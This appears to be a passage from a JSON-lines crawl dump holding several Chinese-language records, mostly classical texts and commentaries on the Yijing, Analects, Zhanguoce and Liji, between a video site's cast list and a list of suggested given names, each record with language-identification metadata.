鄭恕峯 李日升 譚永浩 董敬文 張智軒 陳靖雲 蕭凱欣 廖麗麗 潘冠霖 沈愛琳 何佩珉 馮秀華 馬蹄露 布偉傑\n黎耀祥 陳豪 李佳芯 江美儀 龔嘉欣 高海寧 麥明詩 謝東閔 江嘉敏 鄭子誠 孫慧雪 李成昌 樊亦敏 馬海倫 譚嘉儀 吳業坤 韓馬利 羅蘭 戴耀明 何遠東 邵卓堯 鄭家生 楊證樺 歐瑞偉 林景程 陳嘉輝 伍富橋 周志康 李豪 盧峻峯 程浩駿 易智遠 陳潁熙 易宇航\n黃智雯 袁偉豪 陳智燊 黃淑儀 古明華 孫慧雪 郭子豪 林景程 林秀怡 周志康 李國麟\n黃智賢 張繼聰 唐詩詠 姚子羚 陳凱琳 蔣志光 陳瀅 鄭子誠 何雁詩 劉珮玥 林景程\n李思捷 陳智燊 黃智雯 趙希洛 陳煒 古明華 孫慧雪 布偉傑 張名雅 陳家良 沈可欣 徐玟晴 蘇麗明 周梓盈 劉嘉琪 魯振順 林景程 潘志文 蘇恩磁 譚坤倫 林秀怡 利穎怡 李成昌 潘芳芳 潘冠霖 羅梓龍 陳偲穎 陳柏熹 張明偉 陳庭欣 王致迪 楊證樺 黃穎君 錢悅 田宇軒 鄭耀軒 吳綺珊 張雪瑩 林淑敏 方紹聰 張彥博 李晉強 張本立 周嘉洛 招浩明 吳偉豪 朱樂洺 吳嘉儀 李漫芬 趙樂賢 李日升 羅利期 羅莽 容天佑 陳珈穎 曾慧雲 邵卓堯 煒烈 張漢斌 陳偉琪 麥皓兒 周麗欣 郭田葰 曾健明 曹思詩\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E6%9E%97%E6%99%AF%E7%A8%8B------------.html","date":"2020-09-24T16:40:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400219691.59\/warc\/CC-MAIN-20200924163714-20200924193714-00504.warc.gz","language":"lzh","language_score":0.5370804667,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5370804667472839, \"cmn_Hani_score\": 0.31301283836364746, \"nan_Hani_score\": 0.12848350405693054, \"yue_Hani_score\": 0.020179273560643196}","num_words":176,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.596,"perplexity_score":500.0,"cluster_detection":1} +{"text":"應詔集中庸論中\n君子之欲誠也,莫若以明。夫聖人之道,自本而觀之,則皆出於人情。不循其本,而逆觀之於其末,則以為聖人有所勉強力行,而非人情之所樂者。夫如是,則雖欲誠之,其道無由。故曰「莫若以明」。使吾心曉然,知其當然,而求其樂。\n今夫五常之教,惟禮為若強人者。何則?人情莫不好逸豫而惡勞苦,今吾必也使之不敢箕踞,而磬折百拜以為禮;人情莫不樂富貴而羞貧賤,今吾必也使之不敢自尊,而揖讓退抑以為禮;用器之為便,而祭器之為貴;褻衣之為便,而袞冕之為貴;哀欲其速已,而伸之三年;樂欲其不已,而不得終日;此禮之所以為強人,而觀之於其末者之過也。蓋亦反其本而思之,今吾以為磬折不如立之安也,而將惟安之求,則立不如坐,坐不如箕踞,箕踞不如偃仆,偃仆而不已,則將裸袒而不顧,茍為裸袒而不顧,則吾無乃亦將病之。夫豈獨吾病之,天下之匹夫匹婦,莫不病之也,茍為病之,則是其勢將必至於磬折而百拜。由此言之,則是磬折而百拜者,生於不欲裸袒之間而已也。夫豈惟磬折百拜,將天下之所謂強人者,其皆必有所從生也。辨其所從生,而推之至於其所終極,是之謂明。\n故記曰:「君子之道,費而隱。夫婦之愚,可以與知焉。及其至也,雖聖人有所不知焉。夫婦之不肖,可以能行焉。及其至也,雖聖人有所不能焉。」君子之道,推其所從生而言之,則其言約,約則明。推其逆而觀之,故其言費,費則隱。君子欲其不隱,是故起於夫婦之有餘,而推之至於聖人之所不及,舉天下之至易,而通之於至難,使天下之安其至難者,與其至易無以異也。\n孟子曰:「簞食豆羹,得之則生,不得則死。呼爾而與之,行道之人弗受,蹴爾而與之,乞人不屑也。萬鐘則不辨禮義而受之,萬鐘於我何加焉。」向為身死而不受,今為朋友妻妾之奉而為之,此之謂失其本心。且萬鐘之不受,是王公大人之所難,而以行道乞人之所不屑,而較其輕重,是何以異於匹夫匹婦之所能行,通而至於聖人之所不及。故凡為此說者,皆以求安其至難,而務欲誠之者也。天下之人,莫不欲誠,而不得其說,故凡此者,誠之說也。","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/www.xn--5rtnx620bw5s.tw\/i\/i04\/7027.htm","date":"2021-12-02T11:54:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362219.5\/warc\/CC-MAIN-20211202114856-20211202144856-00251.warc.gz","language":"lzh","language_score":0.5385075212,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5385075211524963, \"cmn_Hani_score\": 0.3966485261917114, \"nan_Hani_score\": 0.050642505288124084}","num_words":5,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.738,"perplexity_score":500.0,"cluster_detection":1} +{"text":"顯諸仁,藏諸用,鼓萬物而不與聖人同憂,盛德大業,至矣哉。富有之謂大業,日新之謂盛德,生生之謂易,成象之謂乾,效法之為坤,極數知來之謂占,通變之謂事,陰陽不測之謂神。\n此章重贊天地陰陽德業之妙,聖人作易德業之由也。\n發育萬物之謂仁,造化无迹之謂用。仁可見也故顯,用不可見也故藏,此天地陰陽之德業也。民可使由之之謂仁,不可使知之之謂用。由之故顯,不知故藏,此聖人作易之德業也。然聖人之與天地,有可同者,有不可同者,可同者顯仁藏用之德業也,不可同者天地无心,聖人有心也。有心,故憂一物之不蒙其仁,无心,故聽萬物之自生自遂。聖人仁萬物而獨任其憂。天地鼓動萬物而不與聖人同其憂,聖人有憂,而天地无憂矣*。何天地之无憂也?有聖人以當其憂也。至於德業之盛大,則天地聖人一而已矣。其業之富有,則溥博而无外,何其大也?其德之日新,則悠久而方增,何其盛也?萬物盈天地,不曰天地之富有乎?萬物備於我,不曰聖人之富有乎?已往者故,方來者新,不曰天地之日新乎?今進乎昨,後進乎前,不曰聖人之日新乎?天地也,聖人也,何以能然也?易而已矣。易者何物也?生生无息之理也。是理也,具於天地,散於萬物,聚於聖人,形於八卦,合而言之,命之曰易。別而言之,自无象而之有象,則謂之乾。法乎乾而效學之,則謂之坤。合天地之數五十有五,窮其極以知方來,則謂之占。通乎易之理,以應乎物之變,則謂之事。乾也,坤也,占也,事也,此易之陰陽可得而知也。至於陰陽之妙,不可測而知者,其易之神乎?非易書之神也,易道之神也,非易道之神也,天地之神也。\n*註:《大全》引此句作:「蓋聖人有心,則有憂,天地无心,則无憂矣。」\n夫易,廣矣,大矣。以言乎遠則不禦,以言乎邇則靜而正,以言乎天地之間則備矣。夫乾,其靜也專,其動也直,是以大生焉。夫坤,其靜也翕,其動也闢,是以廣生焉。廣大配天地,變通配四時,陰陽之義配日月,易簡之善配至德。\n此章聖人所以贊易之道,其極至于廣大之二言,其原生於乾坤之二卦也。以易道為近乎?其遠无外,莫之限而禦也。以易道為遠乎?其近无內,止於靜而正也。遠則莫之禦,易道廣大之用也;近則正而靜,易道廣大之體也。靜者,正之舍也,正者,靜之主也。以止處靜,以靜出動,是惟无動,動罔不正矣。自邇而遠,天地之間,人物之理,天下國家之事,要皆備乎此矣。孰能限而禦之?此易之道所以廣大也。大則盛大而无倫,廣則廣博而无量,其為无窮无極一也。然易道之所以如是之廣大者,其原安出哉?出於乾坤二卦而已。乾何物也?陽之異名也。坤何物也?陰之異名也。一陰一陽之謂道,一乾一坤之謂易,一生兩,兩生四,四生八,八生六十四,非奇則偶,皆乾坤也。一奇一耦,一貴一賤,一分一合,一順一逆,而天地人物,君臣父子,仁義禮樂,由是生焉。故曰夫乾,其靜也專,其動也直,是以大生焉;夫坤,其靜也翕,其動也辟,是以廣生焉。此易道之廣大,所以生於乾坤也。乾坤之廣大,其原又安出哉?生於靜而正而已。其靜也專,乾靜而正也,其靜也翕,坤靜而正也,惟其靜而正,是以動而罔不正。其動也直,乾動而正也,其動也闢,坤動而正也,然則乾何為靜專而動直也。專言一,直言達也。曷為一而達也?不見夫炊乎?水火之氣,一而蒸焉,則氣達而物熟,分則否。乾之為陽也亦然,故曰:行衢路者不至家,坤曷為靜翕而動闢也。翕言斂,闢言散也。曷為斂而散也?不見夫橐籥乎?閉之彌盈,則縱之彌怒,不閉則弛然耳。坤之為陰也亦然,故曰冬閉之不固,則春生之不茂。然則乾言大,坤言廣,何也?孔子曰:唯天為大。孟子曰:廣土眾民。乾,天道也,故以大言;坤,地道也,故以廣言。夫惟易道之廣大生於乾坤,故乾坤之廣大配乎天地,然則四時之變通,日月之陰陽,天地至德之易簡,皆天地廣大之用者耳。易與之配合,皆乾坤之餘也。故易之道,一言蔽之,曰靜而正。\n子曰,易其至矣乎。夫易,聖人所以崇德而廣業也。知崇禮卑,崇效天,卑法地,天地設位而易行乎其中矣。成性存存,道義之門。\n此章聖人所以贊易書之極其至也。非贊易書之極其至也,贊易道之極其至也。\n前章言廣言大,此章言至,皆无以加之謂也。易之道,何道也?天理而已。本然之謂理,當然之謂義,因其本然而行其當然,之謂道。天地人物均具此道,之謂性,聖人得此道者也。體之以成身之謂德,用之以成事之謂業。盡天地人物之性,得天地人物之道,以此成其德業,德安得不崇,業安得不廣乎?何也?聖人之德業,非聖人之德業也,天地之德業也,非天地之德業也,易之道也。天地非具易之道,不得為天地;聖人非得易之道,不得為聖人。故道也者,天地聖人席上之珍也。天地聖人不能為夫珍,而能有夫珍焉耳。雖然,藏珍在室,入室在門,聖人之得此珍也。獨能不由夫門而求之哉!然則孰為此道之門?一曰知,二曰禮,由知則崇,由禮則卑。崇則效乎天矣,惟天為崇故也;卑則法平地矣,惟地為卑故也。且天固崇矣,知何足以擬其崇?地固卑矣,禮何足以擬其卑?蓋明此道之謂知,履此道之謂禮。知之至者極高明,不曰崇效天乎?履之至者極卑遜,不曰卑法地乎?崇也,卑也,非聖人也,自天地設位,卑高以陳,而易之此道,已行乎兩間矣。聖人之知與禮,因之而已。何也?吾之性與天地之性,均具此道,而固存者也。固存者,性之生,存其固存者,性之成。生者天也,成者人也。惟能盡乎人以成乎天,斯能由知與禮以入乎道義,惟能由知與禮以入乎道義,斯能得乎道義以成其德業。故知也,禮也,入道義之門,而成性而成德業之物也。觀天地之崇卑,而易之道在天地,觀聖人之德業,而易之道在聖人。易之道在天地,則易之書不可无;易之道在聖人,則易之書无之可也,有之亦可也。然則易之道何道也?天理而已。是理也,在天地為陰陽,在日月為晝夜,在四時為生育長養,在鬼神為吉凶,在人為君臣父子仁義禮樂,此易之道也。異端之所謂道,非易之所謂道。","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/yijing.taijidian.cn\/3198.html","date":"2022-07-07T04:57:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104683683.99\/warc\/CC-MAIN-20220707033101-20220707063101-00367.warc.gz","language":"lzh","language_score":0.581063211,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5810632109642029, \"cmn_Hani_score\": 0.2916406989097595, \"nan_Hani_score\": 0.08867507427930832, \"wuu_Hani_score\": 0.01338798739016056}","num_words":9,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.552,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.至开头成语接龙\n至理名言、言高语低 低唱浅酌 酌金馔玉 玉减香销 销毁骨立 立马万言 言听计从 从中渔利 利齿伶牙 牙牙学语 语近词冗 冗词赘句 句斟字酌 酌盈剂虚 虚无恬淡 淡然处之 之死靡他 他乡故知 知易行难 难以置信 信而好古 古木参天 天高地下 下陵上替 替天行道 道大莫容 容头过身 身非木石 石破天惊 惊神破胆 胆战心寒 寒灰更然 然荻读书 书声琅琅 琅琅上口 口耳相传 传闻异辞 辞富居贫 贫贱之知 知人之明 明推暗就 就事论事 事以密成 成家立业 业精于勤 勤学好问 问鼎轻重 重增其放 放鱼入海 海枯见底 底死谩生 生不遇时 时无再来 来龙去脉 脉脉含情 情见埶竭 竭尽全力 力能扛鼎 鼎铛玉石 石烂江枯 枯本竭源 源源不绝 绝仁弃义 义胆忠肝 肝胆相照 照本宣科 科班出身 身名俱败 败兴而归 归真反璞 璞玉浑金 金尽裘弊 弊衣箪食 食饥息劳 劳筋苦骨 骨腾肉飞 飞龙在天 天地经纬 纬地经天。","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/www.harrodkids.com\/k\/7875.html","date":"2022-11-30T18:25:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710765.76\/warc\/CC-MAIN-20221130160457-20221130190457-00173.warc.gz","language":"lzh","language_score":0.4469349086,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.44693490862846375, \"cmn_Hani_score\": 0.26756808161735535, \"nan_Hani_score\": 0.19468547403812408, \"yue_Hani_score\": 0.072659932076931, \"wuu_Hani_score\": 0.010562305338680744}","num_words":80,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.447,"perplexity_score":500.0,"cluster_detection":1} +{"text":"画像\nテキスト\n〔註)馬融曰子者男子通〕稱也。謂孔子也。王肅曰、時者學者以時誦習也。誦習以時學無廢業、所以為悅懌也。\n有朋自遠方來不亦樂乎。\n註)苞氏曰、同門曰朋也。\n人不知而不慍不亦君子乎。\n註)愠怒也。凡人有所不知、君子不愠之也。\n疏)子曰至子乎。云子曰者。子者指於孔子也。子是有徳之稱、古者稱師為子也。曰者、發語之端也。許氏說文云、開口吐舌謂之為曰。此以下是孔子開口談說之語、故稱子曰為首也・然此一書、或是弟子之言、或有時俗之語、雖非悉孔子之語、而當時皆被孔子印可也。必被印可乃得預錄。故稱子曰通冠一書也。云學而時習之者、此以下孔子言也。就此一章分為三段、自此至不亦悅乎為第一。明學者幼少之時也。學從幼起故以幼為先也。又從有朋至不亦樂乎為第二。明學業稍成能招朋聚友之由也。既學已經時故能招友為次也。故學記云一年視離經辨志、三年視敬業樂羣、五年視博習親師、七年視論學取友謂之小成是也。又從人不知訖不亦君子乎為第三。明學業已成能為師為君之法也。先能招友、故後乃學成為師君也。故學記云、九年知類通達、強立而不反、謂之大成。又云、能博喻、然後能為師。能為師然後能為長。能為長然後能為君是也。今此段明學者少時法也。謂為學者。白虎通云、學覺也。悟也。言用先王之道、導人情性使自覺悟、而去非取是、積成君子之徳也。時者凡學有三時、一是就人身中為時、二就年中為時、三就日中為時也。一就身中者、凡受學之道擇時為先。長則捍格、幼則迷昏。故學記云、發然後禁、則捍格而不勝。時過然後學則勤苦、而難成是也。既必須時。故內則云。六年教之數與方名、七年男女不同席、八年始教之讓、九年教之數日、十年學書計、十三年學樂誦詩舞勺、十五年成童舞象竝是就身中為時也。二就年中為時〔者、夫學隨時氣則受業易入。〕","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/hayaron.kyukyodo.work\/giso\/post-1410.html","date":"2024-04-13T14:03:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816734.69\/warc\/CC-MAIN-20240413114018-20240413144018-00416.warc.gz","language":"lzh","language_score":0.7425863147,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.7425863146781921, \"cmn_Hani_score\": 0.1313222199678421, \"jpn_Jpan_score\": 0.04745108634233475, \"nan_Hani_score\": 0.041653215885162354, \"wuu_Hani_score\": 0.010774013586342335}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.743,"perplexity_score":500.0,"cluster_detection":1} +{"text":"戰國策卷十八 ‧ 趙策一\n趙收天下且以伐齊\n趙收天下,且以伐齊。蘇秦為齊上書說趙王曰:「臣聞古之賢君,德行非施于海內也,教順慈愛非布于萬民也,祭祀時享非當于鬼神也。甘露降,風雨時至,農夫登,年穀豐盈,眾人喜之,而賢主惡之。今足下功力非數痛加于秦國,而怨毒積怒非素深于齊也。臣竊外聞大臣及下吏之議,皆言主前專據以秦為愛趙而憎齊。臣竊以事觀之,秦豈得愛趙而憎齊哉?欲亡韓吞兩周之地,故以齊為餌,先出聲于天下,欲鄰國聞而觀之也。恐其事不成,故出兵以佯示趙、魏。恐天下之驚覺,故微韓以貳之。恐天下疑己,故出質以為信。聲德于與國,而實伐鄭韓。臣竊觀其圖之也,議秦之謀計必出于是。\n且夫說士之計皆曰:『韓亡三川,魏滅晉國,市朝未罷而禍及于趙。且物固有勢異而患同者,又有勢同而患異者。昔者楚人久伐而中山亡。今燕盡齊之北地,距沙丘而至鉅鹿之界三百里;距于扞關,至于榆中千五百里。秦盡韓、魏之上黨,則地與國都邦屬而壤界者七百里。秦以三軍強弩坐羊腸之上,即地去邯鄲百二十里。且秦以三軍攻王之上黨而危其北,則句注之西非王之有也。今逾句注、禁常山而守,三百里通于燕之唐、曲逆,此代馬、胡駒不東,而崐山之玉不出也。此三寶者,又非王之有也。今從于彊秦國久伐齊,臣恐其禍出于是矣。昔者,五國之王嘗合橫而謀伐趙,參分趙國壤地,著之盤盂,屬之讎柞。五國之兵有日矣,齊乃西師以禁秦國,使秦廢令素服而聽,反溫、枳、高平于魏,反三公、什清于趙,此王之明知也。夫齊事趙,宜為上交;今乃以抵罪取伐,臣恐其後事王者之不敢自必也。今王收齊,天下必以王為義。齊抱社稷以事王,天下必重王。然則齊義,王以天下就之;下至暴秦,王以天下禁之,是一世之命制于王已。臣願大王深與左右羣臣詳計某言,先事成慮而熟圖之也。」","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/xn--5rtnx620bw5s.tw\/a2\/a202\/229.htm","date":"2018-01-22T02:19:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890947.53\/warc\/CC-MAIN-20180122014544-20180122034544-00611.warc.gz","language":"lzh","language_score":0.4533784091,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4533784091472626, \"cmn_Hani_score\": 0.427539199590683, \"nan_Hani_score\": 0.03633376955986023, \"wuu_Hani_score\": 0.03220267966389656}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.519,"perplexity_score":500.0,"cluster_detection":1} +{"text":"䟽曰冠禮起早晩은 書傳에 無正文하고, 世本에 云黃帝造旃冕이라하니, 是는 冕起於黃帝也라. 黃帝以前엔 以羽皮爲冠이러니 後에 乃用布帛이라. 其冠之年은 天子諸侯이 皆十二라.\n呂氏曰冠昏射鄕燕聘은 天下之達禮也라. 儀禮所載를 謂之禮者는 禮之經也요, 禮記所載를 謂之儀者는 皆擧其經之節文하야 以述其制作之義也라.[旃:기전]\n[長樂陳氏曰二十而冠始學禮蓋男子者陽之類也而二十則爲陰之數矣二十而冠者以陰而乎陽女陰類也而十五則陽之數矣十有五年而筓者以陽而成乎陰陰陽之相成性命之相通也]\n01. 凡人之所以爲人者는 禮義也이니, 禮義之始는 在於正容體하며, 齊顔色하며, 順辭令이니. 容體正하며 顔色이 齊하며 辭令이 順而后에야 禮義備以正君臣하며, 親父子하며, 和長幼하나니. 君臣이 正하며, 父子이 親하며, 長幼이 和한 而后에야 禮義立하나니. 故로 冠而后에 服備하고, 服備而后에 容體正하며, 顔色이 齊하며, 辭令이 順하나니. 故로 曰호대 冠者는 禮之始也라하니. 是故로 古者에 聖王이 重冠하시니라.[565]\n方氏曰容體는 欲其可度故,曰正이요, 顔色은 欲其可觀故,曰齊요, 辭令은 欲其可從故,曰順이라.\n[石林葉氏曰義以爲質禮以行之人之道也修人道者亦必有漸故男子二十而冠冠之始也欲其容體正顔色齊辭令順而已及夫體正而不失足於人色齊而不失色於人辭順而不失口於人則人道備故言禮義備及夫君臣正而朝廷肅父子親而閨門定長幼和而宗族有禮則人道正矣故言禮義立]\n02. 古者에, 冠禮에 筮日筮賓은 所以敬冠요, 敬冠事는 所以重禮요, 重禮는 所以爲國本也이니라.[566]\n呂氏曰禮重則人道이 立하니, 此는 國之所以爲國也라. 故,曰爲國本이라.\n方氏曰 筮日은 所以求夫天之吉筮 賓은 所以擇夫人之賢이나, 然,筮而不卜은 何哉요? 蓋古者에 大事는 用卜하고, 小事는 用筮하나니, 天下之事이 始爲小요, 終爲大라. 冠爲禮之始하니 王之所重者는 重其始而已라 非大事也故,止用筮焉하고, 至於喪祭之愼終則所謂大事也故,於是乎用卜이라.\n[石林葉氏曰所以爲國本者何也 蓋冠而成之則責其爲子爲子將至於爲父子則有臣道也 父則有君道也爲國之本莫大於是]\n03. 故로 冠於阼는 以著代也요, 醮於客位하며 三加彌尊은 加有成也요, 已冠而字之는 成人之道也이니라.[567]\n呂氏曰主人은 升立于序端하야 西面하고, 贊者는 筵于東序하야 少北西將冠者는 即筵而冠하니, 是는 位與主人으로 同在阼也라. 父이 老則傳之子는 所以著其傳付之意也라. 酌而無酬酢曰醮이니, 醮于戶西南面은 賓位也라. 以禮賓之禮로 禮其子는 所以爲成人敬也요, 始加緇布冠하고, 再加皮弁하고, 次加爵弁하야 三加而服彌尊은 亦所以爲成人敬也라. 冠於阼하고, 醮於客位者는 適子也이니, 若庶子則冠于房外하야 南面遂醮焉하고, 所以異者는 不著代也라. 古者에 童子이 雖貴나, 名之而已요, 冠而後賓字之는 以成人之道故,敬其名也라.\n[馬氏曰初加之辭曰令月吉日始加元服棄爾幼志順爾成德壽考維祺介爾景福再加曰吉月令辰乃申爾服敬爾威儀淑愼爾德眉壽萬年永受嘏福三加曰以歲之正以月之令咸加爾服兄弟具在以成厥德黃耉無疆受天之慶棄爾幼志順爾成德修其內而已敬爾威儀淑愼爾德內外修也以成厥德德之成也壽考維祺未有數也故次之以眉壽萬年萬年猶有數也故終之以黃耈無疆不唯服之加也而其德亦有加不唯德之加也而其壽亦有加故曰三加彌尊加有成也郊特牲曰醮於客位加有成也三加彌尊喩其志也志言其始成言其終已冠而字之尊其名也]\n04. 見於母이어든 母에 拜之하고, 見於兄弟어든 兄弟拜之는 成人而與爲禮也요, 玄冠玄端으로 奠摯於君하고, 遂以摯로 見於鄕大夫鄕先生은 以成人으로 見也니라.[569]\n母之拜子를 先儒이 疑焉이어늘 䟽에 以爲脯自廟中來故拜受요, 非拜子也라. 呂氏以爲母有從子之義故屈其庸敬하야 以伸斯須之敬이라하고, 方氏는 從䟽義하니 皆非也라. 此因成人而與爲禮一句이 似乎凡冠者이 皆然故,啓讀者之疑라. 惟石梁王氏云記者이 不知此禮이 爲適長子代父承祖者이 與祖爲正體故,禮之異於衆子也라 하니, 斯言이 盡之矣로다. 玄冠은 齊冠也요, 玄端服은 天子燕居之服이니, 諸侯及卿大夫士之齊服也라. 摯는 用稚라. 鄕先生은 鄕之年德俱高者이니, 或致仕之人也라.\n[石林葉氏曰母兄弟雖在所親而比於父則有所屈故與其爲禮則拜之而不及父則是父不可屈也天道始於北故冠與衣皆用玄鄕大夫也先生也雖在所尊而比於君則在所後故其奠摯則先於君是不可後也孔子曰入則事父兄出則事公卿於冠可以見之矣]\n05. 成人之者는 將責成人禮焉也요, 責成人禮焉者는 將責爲人子爲人弟爲人臣爲人少者之禮行[去聲]焉이니, 將責四者之行於人호대 其禮를 可不重與아. 故로 孝弟忠順之行이 立而后에야 可以爲人이요, 可以爲人而后에야 可以治人也이니, 故로 聖王이 重禮하사, 故로 曰 冠者는 禮之始也며, 嘉事之重者也라. 是故로 古者에 重冠하더니, 重冠 故로 行之於廟하니, 行之於廟者는 所以尊重事요, 尊重事而不敢擅重事요, 不敢擅重事所以自卑而尊先祖也이니라.[571]\n呂氏曰所謂成人者는 非謂四體膚革이 異於童稚也라. 必知人倫之備焉이니, 親親貴貴長長에 不失其序之謂備라. 此所以爲人子爲人弟爲人臣爲人少者之禮行이니, 孝弟忠順之行이 立也라. 有諸已然後에 可以責諸人故,成人然後에 可以治人也라. 古者에 重事를 必行之廟中하나니, 昏禮는 納采至親迎에 皆主人筵几於廟하고, 聘禮君親拜迎於大門之外而廟受하고, 爵有德祿有功에 君親策命于廟하고, 喪禮에 旣啓則朝廟는 皆所以示有所尊而不敢專也라. 冠禮者는 人道之始니, 所不可後也라. 孝子之事親也에 有大事이면 必告而後行하고, 沒則行諸廟는 猶是義也라. 故,大孝는 終身慕父母者이 非終父母之身이라. 終其身之謂也라.\n[馬氏曰成人禮者爲人子則孝爲人弟則弟爲人臣則忠爲人少則順責之以四者之行此禮之所以重也尊重事者不忘其先也不敢擅重事者事不專於己也不專於己所以自卑不忘其本所以尊先祖也]\n[廬陵胡氏曰前責以三行者責成人之漸此責以四行者責成人之備孟子曰不得乎親不可以爲人故必四行立而後可以爲人也曰可以者亦猶所謂事親若曾子者可也蓋臣子之身所能爲者皆所當爲也故但曰可而已不以曾子之孝爲有餘也嘉事謂嘉會足以合禮傳曰嘉事不體何以能久]","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/jkch.namoweb.net\/cham\/han\/yeky\/43-kwan-uy.htm","date":"2018-09-25T11:33:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267161501.96\/warc\/CC-MAIN-20180925103454-20180925123854-00002.warc.gz","language":"lzh","language_score":0.5942137837,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5942137837409973, \"cmn_Hani_score\": 0.24250708520412445, \"kor_Hang_score\": 0.10943987965583801, \"jpn_Jpan_score\": 0.04130152612924576}","num_words":265,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.594,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n魏凤婷 魏凡玲 魏琰玲 魏琴利 魏彩英 魏贤梅 魏贵萍 魏若怡 魏如怡 魏巧倩 魏育倩 魏兰玲 魏继娥 魏琴芸 魏茹伶 魏荷玲 魏慧娥 魏姿妹 魏曼娜 魏伶嫣 魏妞蕃 魏娟萏 魏悦真 魏金茹 魏范娟 魏仁洁 魏志倩 魏千婷 魏之雪 魏茹雪 魏毓玲 魏茹兰 魏芊怡 魏楠怡 魏晓妍 魏晓秀 魏璐霞 魏珲琴 魏琴馨 魏新芳 魏鸾瑶 魏鲡莹 魏凯琳 魏秀辰 魏玲玉 魏玉娜 魏玲惠 魏郎婷 魏秀伊 魏莉蕻 魏怡羽 魏琳花 魏凡芬 魏娅菲 魏星秀 魏佳洁 魏琳纯 魏吉娜 魏亚娟 魏海娟 魏怡宣 魏仕瑶 魏志琳 魏海萍 魏琳颖 魏军玲 魏琬倩 魏天红 魏裴 魏束娟 魏孜倩 魏辛娟 魏万文 魏妙雪 魏兰玉 魏亚琳 魏喜娟 魏建梅 魏铁霞 魏彬茹 魏卓文 魏娟锋 魏娟峰 魏娟枫 魏怡安 魏寒梅 魏朱妹 魏忠梅 魏昭莉 魏荷花 魏鹏燕 魏喜文 魏乐玉 魏珈玉 魏良文 魏钱文 魏国媛 魏炳文 魏德颖 魏腊梅 魏灵婷 魏子玲 魏宇霞 魏秋丽 魏怡群 魏怡红 魏建丽 魏艺琳 魏瑶娜 魏靓怡 魏婧怡 魏承霞 魏希娟 魏青霞 魏丽洁 魏克娜 魏香萍 魏雯婷 魏华文 魏嫣汝 魏善琴 魏沁颖 魏靖媛 魏妍雅 魏嘉媛 魏克颖 魏钰倩 魏盟娜 魏盟洁 魏琳航 魏鸿丽 魏艳美 魏腮婵 魏浩英 魏北莹 魏林娜 魏桠琳 魏桠冉 魏安冉 魏岚倩 魏上娜 魏焕婷 魏茂芳 魏轩琳 魏宇芳 魏宇倩 魏宇琼 魏宇琴 魏香琴 魏召娥 魏倩鸳 魏景英 魏锦莹 魏莉力 魏宁瑶 魏锶瑶 魏华玲 魏圣美 魏巧茹 魏晶文 魏孜冉 魏景红 魏孝梅 魏孝芬 魏孝萍 魏梓悦 魏琳匀 魏玲菱 魏燕来 魏玺娜 魏鸿玉 魏砚萍 魏晨怡 魏韵洁 魏昭文 魏新冉 魏名妍 魏梦倩 魏泉文 魏利红 魏宏丽 魏玉娟 魏娅婧 魏娅静 魏旭文 魏利芬 魏祯怡 魏宇燕 魏运霞 魏鑫娅 魏娅鑫 魏慧丽 魏承丽 魏咏梅 魏章琴 魏琳娜 魏纯洁 魏丰颖 魏清红 魏馨婧 魏凤琼 魏喜芳 魏茹茵 魏紫丽 魏芝莹 魏伊妍 魏莉宸 魏莉亚 魏纯莉 魏涵琳 魏颗红 魏登梅 魏海红 魏婧云 魏苛红 魏灵霞 魏颖琳 魏克红 魏琬娟 魏德蓉 魏涵婧 魏裔文 魏悦鱼 魏悦凡 魏冬霞 魏悦知 魏陈怡 魏知悦 魏农英 魏铂文 